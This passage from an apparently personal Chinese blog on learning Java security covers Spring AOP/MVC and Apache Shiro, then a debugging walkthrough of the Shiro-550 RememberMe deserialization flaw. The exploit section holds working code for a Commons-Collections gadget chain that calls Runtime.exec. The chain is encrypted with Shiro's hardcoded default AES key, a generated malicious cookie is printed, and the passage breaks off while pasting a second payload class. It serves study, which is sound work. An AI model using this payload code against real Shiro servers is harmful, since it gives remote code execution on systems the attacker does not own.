class="line">       xsi:schemaLocation=<span class="string">&quot;http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd</span></span><br><span class="line"><span class="string">       http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop.xsd&quot;</span>&gt;</span><br><span class="line">    &lt;bean name=<span class="string">&quot;student&quot;</span> class=<span class="string">&quot;com.demo.Student&quot;</span>/&gt;</span><br><span class="line">    &lt;bean name=<span class="string">&quot;studentAOP&quot;</span> class=<span class="string">&quot;com.demo.StudentAOP&quot;</span>/&gt;</span><br><span class="line">    &lt;aop:config&gt;</span><br><span class="line">        &lt;aop:pointcut id=<span class="string">&quot;test&quot;</span> expression=<span class="string">&quot;execution(* com.demo.Student.study(String))&quot;</span>/&gt;</span><br><span class="line">        &lt;aop:aspect ref=<span class="string">&quot;studentAOP&quot;</span>&gt;</span><br><span class="line">&lt;!--            &lt;aop:after method=<span class="string">&quot;afterstudy&quot;</span> pointcut-ref=<span class="string">&quot;test&quot;</span>/&gt;--&gt;</span><br><span class="line">            &lt;aop:around method=<span class="string">&quot;around&quot;</span> pointcut-ref=<span class="string">&quot;test&quot;</span>/&gt;</span><br><span class="line">        &lt;/aop:aspect&gt;</span><br><span class="line">    &lt;/aop:config&gt;</span><br><span class="line">&lt;/beans&gt;</span><br></pre></td></tr></table></figure><ul><li>通知（Advice）: AOP 框架中的增强处理，通知描述了切面何时执行以及如何执行增强处理，也就是我们上面编写的方法实现。</li><li>连接点（join point）: 连接点表示应用执行过程中能够插入切面的一个点，这个点可以是方法的调用、异常的抛出，实际上就是我们在方法执行前或是执行后需要做的内容。</li><li>切点（PointCut）: 可以插入增强处理的连接点，可以是方法执行之前也可以方法执行之后，还可以是抛出异常之类的。</li><li>切面（Aspect）: 切面是通知和切点的结合，我们之前在xml中定义的就是切面，包括很多信息。</li><li>引入（Introduction）：引入允许我们向现有的类添加新的方法或者属性。</li><li>织入（Weaving）: 将增强处理添加到目标对象中，并创建一个被增强的对象，我们之前都是在将我们的增强处理添加到目标对象，也就是织入（这名字挺有文艺范的）</li></ul><h2 id="SpringMVC"><a href="#SpringMVC" class="headerlink" title="SpringMVC"></a>SpringMVC</h2><h4 id="Spring-MVC-的核心工作流程："><a href="#Spring-MVC-的核心工作流程：" class="headerlink" title="Spring MVC 的核心工作流程："></a>Spring MVC 的核心工作流程：</h4><ol><li><strong>DispatcherServlet (前端控制器)：</strong> 所有的请求第一步都会发给它。它就像公司里的<strong>前台&#x2F;前置路由</strong>。</li><li><strong>HandlerMapping (处理器映射器)：</strong> 前台查表，看看这个 URL 归哪个 Controller 管。</li><li><strong>Controller (控制器)：</strong> 你写的业务代码。它去调用 Service 层处理数据，然后返回一个“结果”。</li><li><strong>ModelAndView (结果封装)：</strong> 包含了两样东西——要展示的数据（Model）和要去哪个页面（View）。</li><li><strong>ViewResolver (视图解析器)：</strong> 把逻辑上的页面名（比如 “index”）变成真实的地址（比如 “&#x2F;WEB-INF&#x2F;jsp&#x2F;index.jsp”）。</li><li><strong>渲染返回：</strong> 把数据填进页面，发回给浏览器。</li></ol><p><strong>M (Model) 模型：</strong> 负责<strong>数据</strong>。比如从数据库拿数据、处理业务逻辑、保存用户信息。它是程序的“大脑”。</p><p><strong>V (View) 视图：</strong> 负责<strong>展示</strong>。比如 HTML 页面、App 界面、或者是返回给前端的 JSON 数据。它是程序的“脸面”。</p><p><strong>C (Controller) 控制器：</strong> 负责<strong>调度</strong>。它像个中转站：接收用户的请求，告诉 Model 去处理数据，最后决定把哪个 View 给用户看。</p><p>用户 发送请求 接收资源</p><p>表示层  处理请求 将具体请求发给业务层进行处理</p><p>业务层  处理业务逻辑 返回资源 </p><p>数据访问层 </p><p>数据库</p><h3 id="1-Controller-层（控制层-表现层）"><a href="#1-Controller-层（控制层-表现层）" class="headerlink" title="1. Controller 层（控制层 &#x2F; 表现层）"></a>1. Controller 层（控制层 &#x2F; 表现层）</h3><ul><li><strong>角色：</strong> 餐厅服务员。</li><li><strong>职责：</strong> 负责接收客人的订单（HTTP 请求），校验一下订单格式对不对，然后把需求传给后厨（Service）。</li><li><strong>关键点：</strong> 它<strong>不应该</strong>写复杂的逻辑，只负责“接活儿”和“回话”。</li><li><strong>注解：</strong> <code>@RestController</code>, <code>@RequestMapping</code></li></ul><h3 id="2-Service-层（业务逻辑层）"><a href="#2-Service-层（业务逻辑层）" class="headerlink" title="2. Service 层（业务逻辑层）"></a>2. Service 层（业务逻辑层）</h3><ul><li><strong>角色：</strong> 后厨大厨。</li><li><strong>职责：</strong> 核心逻辑所在地。比如“下单”这个动作，需要查库存、算折扣、扣余额、发短信。大厨负责把这些散碎的步骤拼凑成一个完整的“业务”。</li><li><strong>关键点：</strong> 这是最值钱的一层，所有的计算和业务规则都写在这里。</li><li><strong>注解：</strong> <code>@Service</code></li></ul><h3 id="3-Repository-DAO-层（数据访问层）"><a href="#3-Repository-DAO-层（数据访问层）" class="headerlink" title="3. Repository &#x2F; DAO 层（数据访问层）"></a>3. Repository &#x2F; DAO 层（数据访问层）</h3><ul><li><strong>角色：</strong> 仓库管理员。</li><li><strong>职责：</strong> 只负责和数据库打交道。它不关心业务，你告诉它“给我找 ID 为 1 的用户”，它就去执行 SQL 把数据拿回来。</li><li><strong>关键点：</strong> 在 Spring Data JPA 中通常叫 <strong>Repository</strong>，在 MyBatis 中通常叫 <strong>Mapper</strong>。</li><li><strong>注解：</strong> <code>@Repository</code>, <code>@Mapper</code></li></ul><h3 id="4-Entity-POJO-层（实体模型层）"><a href="#4-Entity-POJO-层（实体模型层）" class="headerlink" title="4. Entity &#x2F; POJO 层（实体模型层）"></a>4. Entity &#x2F; POJO 层（实体模型层）</h3><ul><li><strong>角色：</strong> 菜单或食材。</li><li><strong>职责：</strong> 它是数据的载体。比如 <code>User</code> 类，里面定义了用户名、密码、邮箱等字段。它是数据库表在 Java 里的“投影”。</li><li><strong>注解：</strong> <code>@Entity</code>, <code>@Table</code></li></ul><h3 id="5-DTO-VO-层（数据传输对象）"><a href="#5-DTO-VO-层（数据传输对象）" class="headerlink" title="5. DTO &#x2F; VO 层（数据传输对象）"></a>5. DTO &#x2F; VO 层（数据传输对象）</h3><p>这是为了安全和灵活衍生的“包装”层：</p><ul><li><strong>DTO (Data Transfer Object)：</strong> 前端传给后端的数据（比如注册时只传用户名密码，不需要传 ID）。</li><li><strong>VO (View Object)：</strong> 后端展示给前端的数据（比如返回用户信息时，要把密码字段抹掉）。</li></ul><hr><h3 id="完整的调用链路图"><a href="#完整的调用链路图" class="headerlink" title="完整的调用链路图"></a>完整的调用链路图</h3><blockquote><p><strong>流程演示：</strong></p><ol><li><strong>用户</strong>在网页点了个按钮 $\rightarrow$ 发送请求给 <strong>Controller</strong>。</li><li><strong>Controller</strong> 收到请求，调用 <strong>Service</strong>。</li><li><strong>Service</strong> 处理逻辑，需要查数据，调用 <strong>Repository</strong>。</li><li><strong>Repository</strong> 去 <strong>Database</strong> 搬回 <strong>Entity</strong>。</li><li><strong>Service</strong> 把 <strong>Entity</strong> 转换成 <strong>VO</strong> 返回给 <strong>Controller</strong>。</li><li><strong>Controller</strong> 把 <strong>VO</strong> 转换成 <strong>JSON</strong> 发给 <strong>用户</strong>。</li></ol></blockquote><h3 id="MyBatis"><a href="#MyBatis" class="headerlink" title="MyBatis"></a>MyBatis</h3><p>Object Relational Mapping 半自动的ORM框架 </p><p>对象 关系 映射</p><p>java中的持久化工具 不需要手动的创建驱动并连接数据库</p><h3 id="Controller-控制器"><a href="#Controller-控制器" class="headerlink" title="Controller 控制器"></a>Controller 控制器</h3><p>Springmvc使用DispatchServlet 将请求都先经过它 作为主路由</p><h3 id="Interceptor-拦截器"><a href="#Interceptor-拦截器" class="headerlink" title="Interceptor 拦截器"></a>Interceptor 拦截器</h3><h2 id="shiro"><a href="#shiro" class="headerlink" title="shiro"></a>shiro</h2><p>Shiro是apache提供的一个java安全框架 <strong>主要有以下部分组成:</strong></p><h3 id="Authentication"><a href="#Authentication" class="headerlink" title="Authentication"></a>Authentication</h3><p>身份认证&#x2F;登录  验证用户相应身份</p><p>shiro中 所有操作都是基于当前正在执行的用户 在shiro中称之为subject</p><p>Shiro支持数据源 realms 可以利用它连接ldap ad jdbc安全数据源</p><p>支持自定义realms对应用户进行认证</p><p>支持 Rememberme 下次访问无需登录</p><h3 id="Authorization"><a href="#Authorization" class="headerlink" title="Authorization"></a>Authorization</h3><p>授权 权限验证 验证某个已认证用户是否拥有这个权限 </p><p>基于subject 支持realms </p><p>鉴权时 可以基于realms 也可以基于 Permissions</p><h3 id="Session-Manager"><a href="#Session-Manager" class="headerlink" title="Session Manager"></a>Session Manager</h3><p>会话管理 </p><p>用户在退出会话前 一直保持会话的所有信息</p><p>支持HttpSession类相关api</p><h3 id="Cryptography"><a href="#Cryptography" class="headerlink" title="Cryptography"></a>Cryptography</h3><p>加密</p><p>Shiro使用公钥加密 AES</p><h3 id="Permissions"><a href="#Permissions" class="headerlink" title="Permissions"></a>Permissions</h3><p>用户权限</p><p>Shiro将作用操作都抽象为Permission </p><h3 id="Caching"><a href="#Caching" class="headerlink" title="Caching"></a>Caching</h3><p>缓存</p><h3 id="核心类"><a href="#核心类" class="headerlink" title="核心类"></a>核心类</h3><h3 id="SecurityManager"><a href="#SecurityManager" class="headerlink" title="SecurityManager"></a>SecurityManager</h3><p>进行鉴权的核心类</p><h3 id="Subject"><a href="#Subject" class="headerlink" title="Subject"></a>Subject</h3><p>程序中的用户实体</p><h3 id="Realms"><a href="#Realms" class="headerlink" title="Realms"></a>Realms</h3><p>定义了一个用户的权限</p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p><strong>一次认证及授权的校验流程</strong>：</p><ol><li>应用程序通过获取当前访问的 Subject（也就是用户），并调用其相应校验方法；</li><li>Subject 将校验委托给 SecurityManager 进行判断；</li><li>SecurityManager 会调用 Realm 来获取信息来判断用户对应的角色能否进行操作。</li></ol><h2 id="漏洞类型"><a href="#漏洞类型" class="headerlink" title="漏洞类型"></a>漏洞类型</h2><h3 id="RememberMe反序列化漏洞"><a href="#RememberMe反序列化漏洞" class="headerlink" title="RememberMe反序列化漏洞"></a>RememberMe反序列化漏洞</h3><h3 id="shiro550-version-1-x-1-2-5"><a href="#shiro550-version-1-x-1-2-5" class="headerlink" title="shiro550 version 1.x &lt; 1.2.5"></a>shiro550 version 1.x &lt; 1.2.5</h3><p>cookie的设置 使用固定密钥加密 反序列化rce</p><h4 id="调试一下-1"><a href="#调试一下-1" class="headerlink" title="调试一下"></a>调试一下</h4><p>在<strong>CookieRememberMeManager.rememberSerializedIdentity</strong>方法上打个断点</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260428210801763.png" alt="image-20260428210801763"></p><p>明显有个cookie.setValue方法 这里就是将最后得到的cookie给添加到响应包中 之后发送给用户 </p><p>我们从这里开始调试 往回查看这个cookie是怎么来的</p><p>注意这个方法中的参数是subject和serialized </p><p>第一个就是用户信息 第二个应该就是序列化后的Cookie 在这个方法里面调用了一次base64编码之后就把他放到cookie里面了</p><p>来到CookieRememberMeManager的抽象父类的rememberIdentity()</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260428211708604.png" alt="image-20260428211708604"></p><p>这个方法里面会获取到一个字节数组 通过自己的<strong>convertPrincipalsToBytes()</strong></p><p>跟进一下这个方法</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260428212043637.png" alt="image-20260428212043637"></p><p>这里会获取一个PrincipalCollection 并序列化 </p><p>序列化之后判断getCipherService是否为null 不为则进行一次加密</p><p>getCipherService默认情况都不为null 一定会进行加密</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260428212232880.png" alt="image-20260428212232880"></p><p>加密算法实际上执行一次aes加密 </p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260428212354742.png" alt="image-20260428212354742"></p><p>来到这个<strong>AbstractRememberMeManager</strong>里面 可以看到一个固定的key 这就是万恶之源</p><p>在注意一下serializer 是一个<strong>DefaultSerializer</strong>对象 等下序列化的时候有用</p><p>具体加密细节不多讲 就是aes加密</p><p>回到<strong>convertPrincipalsToBytes()</strong></p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260428212534004.png" alt="image-20260428212534004"></p><p>看看serialize方法做了什么处理</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260428212623208.png" alt="image-20260428212623208"></p><p>获得序列化器并开始序列化 这里的getSerializer返回<strong>DefaultSerializer对象</strong>并开始序列化</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260428212805745.png" alt="image-20260428212805745"></p><p>DefaultSerializer重写了序列化与反序列化方法 不难猜测就是用来序列化与反序列化cookie数据</p><p>注意这里的接收参数是一个泛式 这里关乎后面payload要怎么设计 序列化和反序列化的地方就和java原生序列化反序列化方法没什么区别了 这里的deserialize就是最后的sink点</p><p>好了现在重点回到Cookie数据是怎么构造的</p><p>继续回到<strong>convertPrincipalsToBytes()</strong></p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260428213553794.png" alt="image-20260428213553794"></p><p>现在的重点来到这个<strong>PrincipalCollection</strong> 这个什么东西</p><p>来到重载的另一个<strong>rememberIdentity方法</strong>这里</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260428213713644.png" alt="image-20260428213713644"></p><p>AuthenticationToken和AuthenticationInfo 应该应该就是身份认证时的token信息与具体的信息</p><p>通过<strong>getIdentityToRemember方法</strong>会返回PrincipalCollection</p><p>跟进<strong>getIdentityToRemember</strong></p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260428214333717.png" alt="image-20260428214333717"></p><p>直接回返回Principal</p><hr><p>我们现在先从最开始的地方看这个正常请求的cookie是怎么来的</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260428214442623.png" alt="image-20260428214442623"></p><p><strong>AuthenticatingFilter</strong> 身份验证过滤器中</p><p><strong>executeLogin方法</strong>会创建一个token token里面存有账号密码 和rememberme转态</p><p>然后执行subject.login并携带token</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260428215609289.png" alt="image-20260428215609289"></p><p>进入<strong>securityManager.login</strong>并携带subject与token</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260428215811159.png" alt="image-20260428215811159"></p><p>info里面包装了其他的信息 比如用户权限为admin</p><p>subject也被层层封装 </p><p>最后执行<strong>onSuccessfulLogin</strong></p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260428220124905.png" alt="image-20260428220124905"></p><p>层层调用 最后来到<strong>rememberIdentity</strong> 方法 我们现在知道这个PrincipalCollection 也就是一些用户信息罢了 用户名与权限名</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260428220235139.png" alt="image-20260428220235139"></p><p>基本上清楚了这个cookie的由来与去处</p><hr><h4 id="总结一下cookie的产生"><a href="#总结一下cookie的产生" class="headerlink" title="总结一下cookie的产生"></a>总结一下cookie的产生</h4><p>username + password -&gt; 包装成AuthenticationInfo info 里面有用户信息 包含权限 -&gt; 又包装成PrincipalCollection  accountPrincipals -&gt; 进入convertPrincipalsToBytes() 开始java原生的序列化 返回一个字节数组 -&gt; 使用固定密钥通过aes加密算法 加密 -&gt;  最后经过一次base64加密 就成为了cookie</p><p><strong>进行一次java原生序列化 得到二进制数据 然后进行 一次aes加密 与 一次base64加密 cookie的名字叫RememberMe</strong></p><hr><p>cookie的产生使用原生java原生的序列化 那再验权的时候肯定会进行一次java原生反序列化 我们接下来调试一下Cookie的逆过程</p><h4 id="再调试一下"><a href="#再调试一下" class="headerlink" title="再调试一下"></a>再调试一下</h4><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260429151345213.png" alt="image-20260429151345213"></p><p>来到<strong>getRememberedSerializedIdentity()</strong> 可以看到这里获取了cookie值</p><p>下面会进行一个base64的解码 最后返回字节数组</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260429151536134.png" alt="image-20260429151536134"></p><p>来到<strong>AbstractRememberMeManager.getRememberedPrincipals</strong> 经过刚刚的方法得到base64解码后的数据</p><p>然后进入**convertBytesToPrincipals()**方法</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260429151711408.png" alt="image-20260429151711408"></p><p>解密之后就开始反序列化了</p><hr><h4 id="反序列化总结一下"><a href="#反序列化总结一下" class="headerlink" title="反序列化总结一下"></a>反序列化总结一下</h4><p>获取cookie -&gt; base64解密 -&gt; aes解密 -&gt; 反序列化</p><h4 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h4><p>在利用cookie的时候 <strong>不要携带登录时获取的session</strong>  不然他不会去检验cookie 也就无法触发漏洞了</p><p>我们先打个cc1试试</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">ConstantTransformer</span> <span class="variable">constantTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Runtime.class);</span><br><span class="line"></span><br><span class="line">       <span class="type">InvokerTransformer</span> <span class="variable">invokerTransformer1</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;getMethod&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class,Class[].class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;getRuntime&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[<span class="number">0</span>]&#125;);<span class="comment">//返回Runtime.getRuntime()方法类对象</span></span><br><span class="line"></span><br><span class="line">       <span class="type">InvokerTransformer</span> <span class="variable">invokerTransformer2</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;invoke&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Object.class,Object[].class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="literal">null</span>,<span class="keyword">new</span> <span class="title class_">Object</span>[<span class="number">0</span>]&#125;);</span><br><span class="line"></span><br><span class="line">       <span class="type">InvokerTransformer</span> <span class="variable">invokerTransformer3</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;);</span><br><span class="line"></span><br><span class="line">       <span class="type">Transformer</span> <span class="variable">chainedTransformers</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(<span class="keyword">new</span> <span class="title class_">Transformer</span>[]&#123;constantTransformer,invokerTransformer1,invokerTransformer2,invokerTransformer3&#125;);</span><br><span class="line">       <span class="type">Map</span> <span class="variable">map</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HashMap</span>();</span><br><span class="line">       map.put(<span class="string">&quot;value&quot;</span>,<span class="string">&quot;value&quot;</span>);</span><br><span class="line">       <span class="type">Map</span> <span class="variable">t</span> <span class="operator">=</span> TransformedMap.decorate(map,<span class="literal">null</span>,chainedTransformers);</span><br><span class="line">       <span class="comment">//恶意类构造完毕</span></span><br><span class="line">       <span class="comment">//实例化触发漏洞核心类</span></span><br><span class="line">       <span class="keyword">try</span> &#123;</span><br><span class="line">           <span class="type">Class</span> <span class="variable">a</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;</span>);</span><br><span class="line">           <span class="type">Constructor</span> <span class="variable">constructor</span> <span class="operator">=</span> a.getDeclaredConstructor(Class.class,Map.class);</span><br><span class="line">           constructor.setAccessible(<span class="literal">true</span>);</span><br><span class="line">           <span class="type">Object</span> <span class="variable">instance</span> <span class="operator">=</span> constructor.newInstance(Target.class,t);</span><br><span class="line">           <span class="type">ByteArrayOutputStream</span> <span class="variable">baos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line">           <span class="type">ObjectOutputStream</span> <span class="variable">out</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(baos);</span><br><span class="line">           out.writeObject(instance);</span><br><span class="line">           out.flush();</span><br><span class="line">           out.close();</span><br><span class="line">           <span class="type">byte</span>[] pay = baos.toByteArray();</span><br><span class="line">           <span class="comment">//使用shiro提供的AesCipherService对象进行加密</span></span><br><span class="line">           <span class="type">AesCipherService</span> <span class="variable">aes</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AesCipherService</span>();</span><br><span class="line">           <span class="type">byte</span>[] key = java.util.Base64.getDecoder().decode(<span class="string">&quot;kPH+bIxk5D2deZiIxcaaaA==&quot;</span>);</span><br><span class="line">           <span class="type">ByteSource</span> <span class="variable">ciphertext</span> <span class="operator">=</span> aes.encrypt(pay, key);</span><br><span class="line">           <span class="type">String</span> <span class="variable">cookie</span> <span class="operator">=</span> ciphertext.toString();</span><br><span class="line">           </span><br><span class="line">           System.out.println(<span class="string">&quot;ok!!&quot;</span>);</span><br><span class="line">           System.out.println(cookie);</span><br></pre></td></tr></table></figure><p>注意一下这里的toString方法自动的会进行base64加密 就不用在加密了 使用得到cookie</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">MVRd3dqIE7uXJLdARG0rwjIYIiXKOPg1Ld067Xu2/5UbmkCWsxUKimbldu6H4MFAE+0f+gJsZL3IpD6lyN3Mv8vv1LP+13K3AfQsd5hqh7NcAt2CyjZcvU23yr2WI52k1xUzn0HX+ub2+v0tOZ21KQoYoZWgFlfOR+08vhT4khTL8JTmji1kMswPOqc2lURYOhnSNxxNj6cmnoR9B1KeIMmnl2mVNgxmbbDUwkLGQhRblxW7DskoYLprjih7aozbUnMZZWHq1BWfcmQAEtTgV0uMJEJKx0SV1YBaKo7rRiZA+ve0I9Zl7mhplHGezC4dP5+PC6ZVUSk+i1gcDpGrTw0L5u+Bi1wER4v+iP77nwpkMa3OOJMiNrDAomMdrBNhS10X7+zRZIW5Tj3q7yLiMtLA0/TaMio0Qgbe8s9z804QknMSokLKCEPkJlU655FzG1xx9eCetx1SZ/79XRgY1sfUk36WnJ1ge19fLpNfx67q24EfDJi6QrzKjFRBUDasiySEHlJoBXZU/6w9xMijXXKJ2ezXAqF602QvPIpLRbHLCX/y8yixjz9DZ+zHBJiLSwVonHWKDeeyjMG9ymNDHq6TCC/IZtXjEB/7KQFvwaX/QnhBWTnICy2dK9pu2+Eq+ugcV8Spa3RgatpnGzAJ3NVeQbYR4coq2IiyxGHvNcX3XxemaRXXAhyuV4nHOwzB2sVdLJmrwL5N54QWsc7NhiLR45v31J1402HxoeTiAdsFqKsB/uturDJSfkzygSYH08+bw8j+EVcZ38yNNq3sK5rTnO1CB9k2zP0eg/eJKfsF7bVbFaM4msflfswRcltgyWUiwUpcCFua9uuAtV91Lc3aiWLh4jHUHaj5AYD58PvbMU28PF8YHgvyVgmvVDdK6vlS9+A3LFy3F5JaJV81Zg3VrqvV/3rRkXoQloM/CaWEe+T8JFlNdZ9BLfVGLr00e7YJRmpb2N8xPTuuO9e5kwE/YlwkjH4zDYb24rvnw9f2u+qL6bm1FTztSsWhOz6MoP5U8b+IXdAsGXyLCa7xfovzlOgfzyoKHr9GFjFtkWM7eXNqUZ4KY4Lz/oykZtKWzd187Q4bueONoSjGrXTOhaoO8PiWcOXYQDqHcDAVDDg7SVuE1LMYXSLKp7j+qAFSBOoKhR9CVmGOV6CTE/sC5aVoWxnAv6JZw3bTjZfamJCS+7Kjei19x9GFZDk9FW9MV2UM6TtXc9kMmh2X9gKuv41mQlP4CyDIIfMLbMO5MltZDF3ZlCJDnqK4LoCtj015AvtUTMqSAxzcgzuHGg+0vQLXDJ2DMU/vDmqQLlSzxEpYrdP0hxb66ZZ21jKp6DALCgSf9rmMQSWNHqD+y036iIS+zE4hWnR87MfnvzqcBS/ueN+q9Rb8m5VCe/MMt+IV18R2/w5lV9AfRW2TQyCH45IP6IlifuUfIMYyqCTVH255k3iK/93VigiqIfWvsH2f9sRZUuJJRRs2Nq5JYeK7hoYkdVSX+dG/4TTepraqvW8ahzw9AT4mVDffFIaMxcKknljvSa1YtIC0OruWHWLcyFSeGatoIWcYkk8Lcqlk3TX/ktY4rvP8Dzq9ZMTJ0gpmiFY2iOSUV9ca9+hOdebV2f3/C/OnUkijq31dJPykiwJwreAoUViskqoGTLMD87QX</span><br></pre></td></tr></table></figure><p>查看日志 可以发现有3个异常</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260430104729559.png" alt="image-20260430104729559"></p><p>提示无法加载数组 <code>[Lorg.apache.commons.collections.Transformer;</code> 无法加载Transformer数组</p><p>我们调试一下</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260430104823178.png" alt="image-20260430104823178"></p><p>shiro中的反序列化被重写过 使用<strong>ClassResolvingObjectInputStream</strong>对象去反序列化</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260430104917267.png" alt="image-20260430104917267"></p><p>直接进入 <strong>resolveClass()</strong> 最后会使用<strong>ClassUtils.forName</strong></p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260430105015834.png" alt="image-20260430105015834"></p><p>跟进<strong>loadClass</strong></p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260430105043844.png" alt="image-20260430105043844"></p><p>获取CLassLoader对象 会获取到WebappClassLoader 经过双亲委派模型机制 最后会委托到URLClassLoader</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260430105241551.png" alt="image-20260430105241551"></p><p>这里的jre环境需要把tomcat的源码搞进去 可以进入<strong>WebappClassLoader</strong> 的<strong>loadClass方法</strong>中</p><p>从结果上来看 无法加载这个数组类 也就是说在shiro里面 没法加载Transform数组</p><p>那么我们就避开使用<strong>Transform数组</strong> 去构造payload</p><hr><p>贴一个别的师傅写的payload</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.keyvalue.TiedMapEntry;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.LazyMap;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.shiro.crypto.AesCipherService;</span><br><span class="line"><span class="keyword">import</span> org.apache.shiro.util.ByteSource;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Files;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Paths;</span><br><span class="line"><span class="keyword">import</span> java.util.Base64;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CommonsCollectionsShiro1</span> &#123;</span><br><span 